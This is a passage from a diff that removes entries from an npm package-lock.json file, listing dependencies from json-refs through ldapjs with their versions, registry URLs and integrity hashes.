"3.0.15", +- "resolved": "https://registry.npmjs.org/json-refs/-/json-refs-3.0.15.tgz", +- "integrity": "sha512-0vOQd9eLNBL18EGl5yYaO44GhixmImes2wiYn9Z3sag3QnehWrYWlB9AFtMxCL2Bj3fyxgDYkxGFEU/chlYssw==", +- "requires": { +- "commander": "~4.1.1", +- "graphlib": "^2.1.8", +- "js-yaml": "^3.13.1", +- "lodash": "^4.17.15", +- "native-promise-only": "^0.8.1", +- "path-loader": "^1.0.10", +- "slash": "^3.0.0", +- "uri-js": "^4.2.2" +- }, +- "dependencies": { +- "argparse": { +- "version": "1.0.10", +- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", +- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", +- "requires": { +- "sprintf-js": "~1.0.2" +- } +- }, +- "js-yaml": { +- "version": "3.14.1", +- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", +- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", +- "requires": { +- "argparse": "^1.0.7", +- "esprima": "^4.0.0" +- } +- }, +- "slash": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", +- "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==" +- } +- } +- }, +- "json-schema": { +- "version": "0.4.0", +- "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz", +- "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==" +- }, +- "json-schema-traverse": { +- "version": "0.4.1", +- "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", +- "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" +- }, +- "json-stable-stringify-without-jsonify": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", +- "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", +- "dev": true +- }, +- "json-stream": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/json-stream/-/json-stream-1.0.0.tgz", +- "integrity": "sha1-GjhU4o0rvuqzHMfd9oPS3cVlJwg=" +- }, +- "json-stringify-safe": { +- "version": "5.0.1", +- "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", +- "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" +- }, +- "json2csv": { +- "version": "4.5.4", +- "resolved": "https://registry.npmjs.org/json2csv/-/json2csv-4.5.4.tgz", +- "integrity": "sha512-YxBhY4Lmn8IvVZ36nqg5omxneLy9JlorkqW1j/EDCeqvmi+CQ4uM+wsvXlcIqvGDewIPXMC/O/oF8DX9EH5aoA==", +- "requires": { +- "commander": "^2.15.1", +- "jsonparse": "^1.3.1", +- "lodash.get": "^4.4.2" +- }, +- "dependencies": { +- "commander": { +- "version": "2.20.3", +- "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", +- "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==" +- } +- } +- }, +- "json5": { +- "version": "2.2.0", +- "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.0.tgz", +- "integrity": "sha512-f+8cldu7X/y7RAJurMEJmdoKXGB/X550w2Nr3tTbezL6RwEE/iMcm+tZnXeoZtKuOq6ft8+CqzEkrIgx1fPoQA==", +- "requires": { +- "minimist": "^1.2.5" +- }, +- "dependencies": { +- "minimist": { +- "version": "1.2.5", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", +- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" +- } +- } +- }, +- "jsonfile": { +- "version": "6.1.0", +- "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", +- "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", +- "requires": { +- "graceful-fs": "^4.1.6", +- "universalify": "^2.0.0" +- } +- }, +- "jsonparse": { +- "version": "1.3.1", +- "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz", +- "integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA=" +- }, +- "jsonpath-plus": { +- "version": "0.19.0", +- "resolved": "https://registry.npmjs.org/jsonpath-plus/-/jsonpath-plus-0.19.0.tgz", +- "integrity": "sha512-GSVwsrzW9LsA5lzsqe4CkuZ9wp+kxBb2GwNniaWzI2YFn5Ig42rSW8ZxVpWXaAfakXNrx5pgY5AbQq7kzX29kg==" +- }, +- "JSONStream": { +- "version": "1.3.5", +- "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.5.tgz", +- "integrity": "sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ==", +- "requires": { +- "jsonparse": "^1.2.0", +- "through": ">=2.2.7 <3" +- } +- }, +- "jsonwebtoken": { +- "version": "8.5.1", +- "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-8.5.1.tgz", +- "integrity": "sha512-XjwVfRS6jTMsqYs0EsuJ4LGxXV14zQybNd4L2r0UvbVnSF9Af8x7p5MzbJ90Ioz/9TI41/hTCvznF/loiSzn8w==", +- "requires": { +- "jws": "^3.2.2", +- "lodash.includes": "^4.3.0", +- "lodash.isboolean": "^3.0.3", +- "lodash.isinteger": "^4.0.4", +- "lodash.isnumber": "^3.0.3", +- "lodash.isplainobject": "^4.0.6", +- "lodash.isstring": "^4.0.1", +- "lodash.once": "^4.0.0", +- "ms": "^2.1.1", +- "semver": "^5.6.0" +- }, +- "dependencies": { +- "jwa": { +- "version": "1.4.1", +- "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz", +- "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==", +- "requires": { +- "buffer-equal-constant-time": "1.0.1", +- "ecdsa-sig-formatter": "1.0.11", +- "safe-buffer": "^5.0.1" +- } +- }, +- "jws": { +- "version": "3.2.2", +- "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz", +- "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==", +- "requires": { +- "jwa": "^1.4.1", +- "safe-buffer": "^5.0.1" +- } +- }, +- "semver": { +- "version": "5.7.1", +- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", +- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" +- } +- } +- }, +- "jsprim": { +- "version": "1.4.2", +- "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.2.tgz", +- "integrity": "sha512-P2bSOMAc/ciLz6DzgjVlGJP9+BrJWu5UDGK70C2iweC5QBIeFf0ZXRvGjEj2uYgrY2MkAAhsSWHDWlFtEroZWw==", +- "requires": { +- "assert-plus": "1.0.0", +- "extsprintf": "1.3.0", +- "json-schema": "0.4.0", +- "verror": "1.10.0" +- }, +- "dependencies": { +- "assert-plus": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", +- "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=" +- } +- } +- }, +- "jstransformer": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/jstransformer/-/jstransformer-1.0.0.tgz", +- "integrity": "sha1-7Yvwkh4vPx7U1cGkT2hwntJHIsM=", +- "requires": { +- "is-promise": "^2.0.0", +- "promise": "^7.0.1" +- } +- }, +- "jsx-ast-utils": { +- "version": "3.2.1", +- "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-3.2.1.tgz", +- "integrity": "sha512-uP5vu8xfy2F9A6LGC22KO7e2/vGTS1MhP+18f++ZNlf0Ohaxbc9nIEwHAsejlJKyzfZzU5UIhe5ItYkitcZnZA==", +- "dev": true, +- "requires": { +- "array-includes": "^3.1.3", +- "object.assign": "^4.1.2" +- } +- }, +- "just-extend": { +- "version": "4.2.1", +- "resolved": "https://registry.npmjs.org/just-extend/-/just-extend-4.2.1.tgz", +- "integrity": "sha512-g3UB796vUFIY90VIv/WX3L2c8CS2MdWUww3CNrYmqza1Fg0DURc2K/O4YrnklBdQarSJ/y8JnJYDGc+1iumQjg==", +- "dev": true +- }, +- "jwa": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.0.tgz", +- "integrity": "sha512-jrZ2Qx916EA+fq9cEAeCROWPTfCwi1IVHqT2tapuqLEVVDKFDENFw1oL+MwrTvH6msKxsd1YTDVw6uKEcsrLEA==", +- "requires": { +- "buffer-equal-constant-time": "1.0.1", +- "ecdsa-sig-formatter": "1.0.11", +- "safe-buffer": "^5.0.1" +- } +- }, +- "jws": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.0.tgz", +- "integrity": "sha512-KDncfTmOZoOMTFG4mBlG0qUIOlc03fmzH+ru6RgYVZhPkyiy/92Owlt/8UEN+a4TXR1FQetfIpJE8ApdvdVxTg==", +- "requires": { +- "jwa": "^2.0.0", +- "safe-buffer": "^5.0.1" +- } +- }, +- "kareem": { +- "version": "2.3.2", +- "resolved": "https://registry.npmjs.org/kareem/-/kareem-2.3.2.tgz", +- "integrity": "sha512-STHz9P7X2L4Kwn72fA4rGyqyXdmrMSdxqHx9IXon/FXluXieaFA6KJ2upcHAHxQPQ0LeM/OjLrhFxifHewOALQ==" +- }, +- "karma": { +- "version": "6.3.17", +- "resolved": "https://registry.npmjs.org/karma/-/karma-6.3.17.tgz", +- "integrity": "sha512-2TfjHwrRExC8yHoWlPBULyaLwAFmXmxQrcuFImt/JsAsSZu1uOWTZ1ZsWjqQtWpHLiatJOHL5jFjXSJIgCd01g==", +- "dev": true, +- "requires": { +- "@colors/colors": "1.5.0", +- "body-parser": "^1.19.0", +- "braces": "^3.0.2", +- "chokidar": "^3.5.1", +- "connect": "^3.7.0", +- "di": "^0.0.1", +- "dom-serialize": "^2.2.1", +- "glob": "^7.1.7", +- "graceful-fs": "^4.2.6", +- "http-proxy": "^1.18.1", +- "isbinaryfile": "^4.0.8", +- "lodash": "^4.17.21", +- "log4js": "^6.4.1", +- "mime": "^2.5.2", +- "minimatch": "^3.0.4", +- "mkdirp": "^0.5.5", +- "qjobs": "^1.2.0", +- "range-parser": "^1.2.1", +- "rimraf": "^3.0.2", +- "socket.io": "^4.2.0", +- "source-map": "^0.6.1", +- "tmp": "^0.2.1", +- "ua-parser-js": "^0.7.30", +- "yargs": "^16.1.1" +- }, +- "dependencies": { +- "base64id": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/base64id/-/base64id-2.0.0.tgz", +- "integrity": "sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog==", +- "dev": true +- }, +- "minimist": { +- "version": "1.2.6", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz", +- "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==", +- "dev": true +- }, +- "mkdirp": { +- "version": "0.5.6", +- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", +- "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", +- "dev": true, +- "requires": { +- "minimist": "^1.2.6" +- } +- }, +- "rimraf": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", +- "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", +- "dev": true, +- "requires": { +- "glob": "^7.1.3" +- } +- }, +- "socket.io": { +- "version": "4.4.1", +- "resolved": "https://registry.npmjs.org/socket.io/-/socket.io-4.4.1.tgz", +- "integrity": "sha512-s04vrBswdQBUmuWJuuNTmXUVJhP0cVky8bBDhdkf8y0Ptsu7fKU2LuLbts9g+pdmAdyMMn8F/9Mf1/wbtUN0fg==", +- "dev": true, +- "requires": { +- "accepts": "~1.3.4", +- "base64id": "~2.0.0", +- "debug": "~4.3.2", +- "engine.io": "~6.1.0", +- "socket.io-adapter": "~2.3.3", +- "socket.io-parser": "~4.0.4" +- } +- }, +- "source-map": { +- "version": "0.6.1", +- "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", +- "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", +- "dev": true +- }, +- "yargs": { +- "version": "16.2.0", +- "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", +- "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", +- "dev": true, +- "requires": { +- "cliui": "^7.0.2", +- "escalade": "^3.1.1", +- "get-caller-file": "^2.0.5", +- "require-directory": "^2.1.1", +- "string-width": "^4.2.0", +- "y18n": "^5.0.5", +- "yargs-parser": "^20.2.2" +- } +- } +- } +- }, +- "karma-chai-sinon": { +- "version": "0.1.5", +- "resolved": "https://registry.npmjs.org/karma-chai-sinon/-/karma-chai-sinon-0.1.5.tgz", +- "integrity": "sha1-XDksqVJHgYlR1rV5AvAsNugDdTo=", +- "dev": true, +- "requires": {} +- }, +- "karma-chrome-launcher": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/karma-chrome-launcher/-/karma-chrome-launcher-3.1.0.tgz", +- "integrity": "sha512-3dPs/n7vgz1rxxtynpzZTvb9y/GIaW8xjAwcIGttLbycqoFtI7yo1NGnQi6oFTherRE+GIhCAHZC4vEqWGhNvg==", +- "dev": true, +- "requires": { +- "which": "^1.2.1" +- }, +- "dependencies": { +- "which": { +- "version": "1.3.1", +- "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", +- "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", +- "dev": true, +- "requires": { +- "isexe": "^2.0.0" +- } +- } +- } +- }, +- "karma-mocha": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/karma-mocha/-/karma-mocha-2.0.1.tgz", +- "integrity": "sha512-Tzd5HBjm8his2OA4bouAsATYEpZrp9vC7z5E5j4C5Of5Rrs1jY67RAwXNcVmd/Bnk1wgvQRou0zGVLey44G4tQ==", +- "dev": true, +- "requires": { +- "minimist": "^1.2.3" +- }, +- "dependencies": { +- "minimist": { +- "version": "1.2.5", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", +- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==", +- "dev": true +- } +- } +- }, +- "karma-mocha-reporter": { +- "version": "2.2.5", +- "resolved": "https://registry.npmjs.org/karma-mocha-reporter/-/karma-mocha-reporter-2.2.5.tgz", +- "integrity": "sha1-FRIAlejtgZGG5HoLAS8810GJVWA=", +- "dev": true, +- "requires": { +- "chalk": "^2.1.0", +- "log-symbols": "^2.1.0", +- "strip-ansi": "^4.0.0" +- }, +- "dependencies": { +- "ansi-regex": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz", +- "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=", +- "dev": true +- }, +- "log-symbols": { +- "version": "2.2.0", +- "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz", +- "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==", +- "dev": true, +- "requires": { +- "chalk": "^2.0.1" +- } +- }, +- "strip-ansi": { +- "version": "4.0.0", +- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", +- "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", +- "dev": true, +- "requires": { +- "ansi-regex": "^3.0.0" +- } +- } +- } +- }, +- "karma-requirejs": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/karma-requirejs/-/karma-requirejs-1.1.0.tgz", +- "integrity": "sha1-/driy4fX68FvsCIok1ZNf+5Xh5g=", +- "dev": true, +- "requires": {} +- }, +- "keycode": { +- "version": "2.2.1", +- "resolved": "https://registry.npmjs.org/keycode/-/keycode-2.2.1.tgz", +- "integrity": "sha512-Rdgz9Hl9Iv4QKi8b0OlCRQEzp4AgVxyCtz5S/+VIHezDmrDhkp2N2TqBWOLz0/gbeREXOOiI9/4b8BY9uw2vFg==" +- }, +- "keyv": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/keyv/-/keyv-3.1.0.tgz", +- "integrity": "sha512-9ykJ/46SN/9KPM/sichzQ7OvXyGDYKGTaDlKMGCAlg2UK8KRy4jb0d8sFc+0Tt0YYnThq8X2RZgCg74RPxgcVA==", +- "requires": { +- "json-buffer": "3.0.0" +- } +- }, +- "kind-of": { +- "version": "6.0.3", +- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", +- "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==" +- }, +- "klaw": { +- "version": "4.0.1", +- "resolved": "https://registry.npmjs.org/klaw/-/klaw-4.0.1.tgz", +- "integrity": "sha512-pgsE40/SvC7st04AHiISNewaIMUbY5V/K8b21ekiPiFoYs/EYSdsGa+FJArB1d441uq4Q8zZyIxvAzkGNlBdRw==", +- "dev": true +- }, +- "klaw-sync": { +- "version": "6.0.0", +- "resolved": "https://registry.npmjs.org/klaw-sync/-/klaw-sync-6.0.0.tgz", +- "integrity": "sha512-nIeuVSzdCCs6TDPTqI8w1Yre34sSq7AkZ4B3sfOBbI2CgVSB4Du4aLQijFU2+lhAFCwt9+42Hel6lQNIv6AntQ==", +- "requires": { +- "graceful-fs": "^4.1.11" +- } +- }, +- "klona": { +- "version": "2.0.5", +- "resolved": "https://registry.npmjs.org/klona/-/klona-2.0.5.tgz", +- "integrity": "sha512-pJiBpiXMbt7dkzXe8Ghj/u4FfXOOa98fPW+bihOJ4SjnoijweJrNThJfd3ifXpXhREjpoF2mZVH1GfS9LV3kHQ==", +- "dev": true +- }, +- "knex": { +- "version": "0.21.21", +- "resolved": "https://registry.npmjs.org/knex/-/knex-0.21.21.tgz", +- "integrity": "sha512-cjw5qO1EzVKjbywcVa61IQJMLt7PfYBRI/2NwCA/B9beXgbw652wDNLz+JM+UKKNsfwprq0ugYqBYc9q4JN36A==", +- "requires": { +- "colorette": "1.2.1", +- "commander": "^6.2.0", +- "debug": "4.3.1", +- "esm": "^3.2.25", +- "getopts": "2.2.5", +- "interpret": "^2.2.0", +- "liftoff": "3.1.0", +- "lodash": "^4.17.20", +- "pg-connection-string": "2.4.0", +- "tarn": "^3.0.1", +- "tildify": "2.0.0", +- "v8flags": "^3.2.0" +- }, +- "dependencies": { +- "commander": { +- "version": "6.2.1", +- "resolved": "https://registry.npmjs.org/commander/-/commander-6.2.1.tgz", +- "integrity": "sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA==" +- }, +- "debug": { +- "version": "4.3.1", +- "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", +- "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", +- "requires": { +- "ms": "2.1.2" +- } +- }, +- "ms": { +- "version": "2.1.2", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", +- "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" +- }, +- "pg-connection-string": { +- "version": "2.4.0", +- "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.4.0.tgz", +- "integrity": "sha512-3iBXuv7XKvxeMrIgym7njT+HlZkwZqqGX4Bu9cci8xHZNT+Um1gWKqCsAzcC0d95rcKMU5WBg6YRUcHyV0HZKQ==" +- } +- } +- }, +- "knox": { +- "version": "0.9.2", +- "resolved": "https://registry.npmjs.org/knox/-/knox-0.9.2.tgz", +- "integrity": "sha1-NzZZNmniTwJP2vcjtqHcSv2DmnE=", +- "requires": { +- "debug": "^1.0.2", +- "mime": "*", +- "once": "^1.3.0", +- "stream-counter": "^1.0.0", +- "xml2js": "^0.4.4" +- }, +- "dependencies": { +- "debug": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/debug/-/debug-1.0.5.tgz", +- "integrity": "sha1-9yQSF0MPmd7EwrRz6rkiKOh0wqw=", +- "requires": { +- "ms": "2.0.0" +- } +- }, +- "ms": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", +- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=" +- } +- } +- }, +- "kubernetes-client": { +- "version": "8.3.7", +- "resolved": "https://registry.npmjs.org/kubernetes-client/-/kubernetes-client-8.3.7.tgz", +- "integrity": "sha512-A0rvfQAvwAuPTooBOSErpTcnwcQxhkmawjOm/gUdGDWCUZoYmAVgVGFnc/klda+X1tvHwleavDsLqmqaYscH2w==", +- "requires": { +- "@kubernetes/client-node": "0.10.2", +- "camelcase": "^6.0.0", +- "deepmerge": "^4.2.2", +- "depd": "^2.0.0", +- "js-yaml": "^3.13.1", +- "json-stream": "^1.0.0", +- "openid-client": "^3.14.0", +- "pump": "^3.0.0", +- "qs": "^6.9.0", +- "request": "^2.88.2", +- "swagger-fluent": "^5.0.1", +- "url-join": "^4.0.1", +- "ws": "^7.2.3" +- }, +- "dependencies": { +- "argparse": { +- "version": "1.0.10", +- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", +- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", +- "requires": { +- "sprintf-js": "~1.0.2" +- } +- }, +- "depd": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", +- "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==" +- }, +- "js-yaml": { +- "version": "3.14.1", +- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", +- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", +- "requires": { +- "argparse": "^1.0.7", +- "esprima": "^4.0.0" +- } +- }, +- "ws": { +- "version": "7.5.6", +- "resolved": "https://registry.npmjs.org/ws/-/ws-7.5.6.tgz", +- "integrity": "sha512-6GLgCqo2cy2A2rjCNFlxQS6ZljG/coZfZXclldI8FB/1G3CCI36Zd8xy2HrFVACi8tfk5XrgLQEk+P0Tnz9UcA==", +- "requires": {} +- } +- } +- }, +- "language-subtag-registry": { +- "version": "0.3.21", +- "resolved": "https://registry.npmjs.org/language-subtag-registry/-/language-subtag-registry-0.3.21.tgz", +- "integrity": "sha512-L0IqwlIXjilBVVYKFT37X9Ih11Um5NEl9cbJIuU/SwP/zEEAbBPOnEeeuxVMf45ydWQRDQN3Nqc96OgbH1K+Pg==", +- "dev": true +- }, +- "language-tags": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/language-tags/-/language-tags-1.0.5.tgz", +- "integrity": "sha1-0yHbxNowuovzAk4ED6XBRmH5GTo=", +- "dev": true, +- "requires": { +- "language-subtag-registry": "~0.3.2" +- } +- }, +- "lazy-ass": { +- "version": "1.6.0", +- "resolved": "https://registry.npmjs.org/lazy-ass/-/lazy-ass-1.6.0.tgz", +- "integrity": "sha1-eZllXoZGwX8In90YfRUNMyTVRRM=", +- "dev": true +- }, +- "lazy-cache": { +- "version": "2.0.2", +- "resolved": "https://registry.npmjs.org/lazy-cache/-/lazy-cache-2.0.2.tgz", +- "integrity": "sha1-uRkKT5EzVGlIQIWfio9whNiCImQ=", +- "dev": true, +- "requires": { +- "set-getter": "^0.1.0" +- } +- }, +- "lazystream": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", +- "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==", +- "requires": { +- "readable-stream": "^2.0.5" +- }, +- "dependencies": { +- "isarray": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" +- }, +- "readable-stream": { +- "version": "2.3.7", +- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", +- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", +- "requires": { +- "core-util-is": "~1.0.0", +- "inherits": "~2.0.3", +- "isarray": "~1.0.0", +- "process-nextick-args": "~2.0.0", +- "safe-buffer": "~5.1.1", +- "string_decoder": "~1.1.1", +- "util-deprecate": "~1.0.1" +- } +- }, +- "string_decoder": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", +- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", +- "requires": { +- "safe-buffer": "~5.1.0" +- } +- } +- } +- }, +- "ldap-filter": { +- "version": "0.2.2", +- "resolved": "https://registry.npmjs.org/ldap-filter/-/ldap-filter-0.2.2.tgz", +- "integrity": "sha1-8rhCvguG2jNSeYUFsx68rlkNd9A=", +- "requires": { +- "assert-plus": "0.1.5" +- } +- }, +- "ldapauth-fork": { +- "version": "4.3.3", +- "resolved": "https://registry.npmjs.org/ldapauth-fork/-/ldapauth-fork-4.3.3.tgz", +- "integrity": "sha512-x76VpQ5ZqkwAJmqwcD6KIwDiNEbgIGIPGwC/eA17e1dxWhlTx36w0DlLOFwjTuZ2iuaLTsZsUprlVqvSlwc/1Q==", +- "requires": { +- "@types/ldapjs": "^1.0.0", +- "@types/node": "*", +- "bcryptjs": "^2.4.0", +- "ldapjs": "^1.0.2", +- "lru-cache": "^5.1.1" +- }, +- "dependencies": { +- "asn1": { +- "version": "0.2.3", +- "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz", +- "integrity": "sha1-2sh4dxPJlmhJ/IGAd36+nB3fO4Y=" +- }, +- "assert-plus": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", +- "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=" +- }, +- "extsprintf": { +- "version": "1.2.0", +- "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.2.0.tgz", +- "integrity": "sha1-WtlGwi9bMrp/jNdCZxHG6KP8JSk=" +- }, +- "ldapjs": { +- "version": "1.0.2", +- "resolved": 